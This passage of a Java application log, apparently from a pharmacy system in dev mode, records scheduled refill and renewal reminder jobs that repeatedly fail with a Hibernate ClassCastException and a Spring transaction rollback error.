org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 21:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 21:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 21:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 21:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 21:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 21:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 21:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 21:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 21:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 21:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 21:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 21:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 21:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 21:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 21:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 21:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 21:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 21:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 21:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 21:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 22:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 22:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 22:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 22:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 22:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 22:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 22:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 22:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 22:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 22:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 22:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 22:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 22:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at 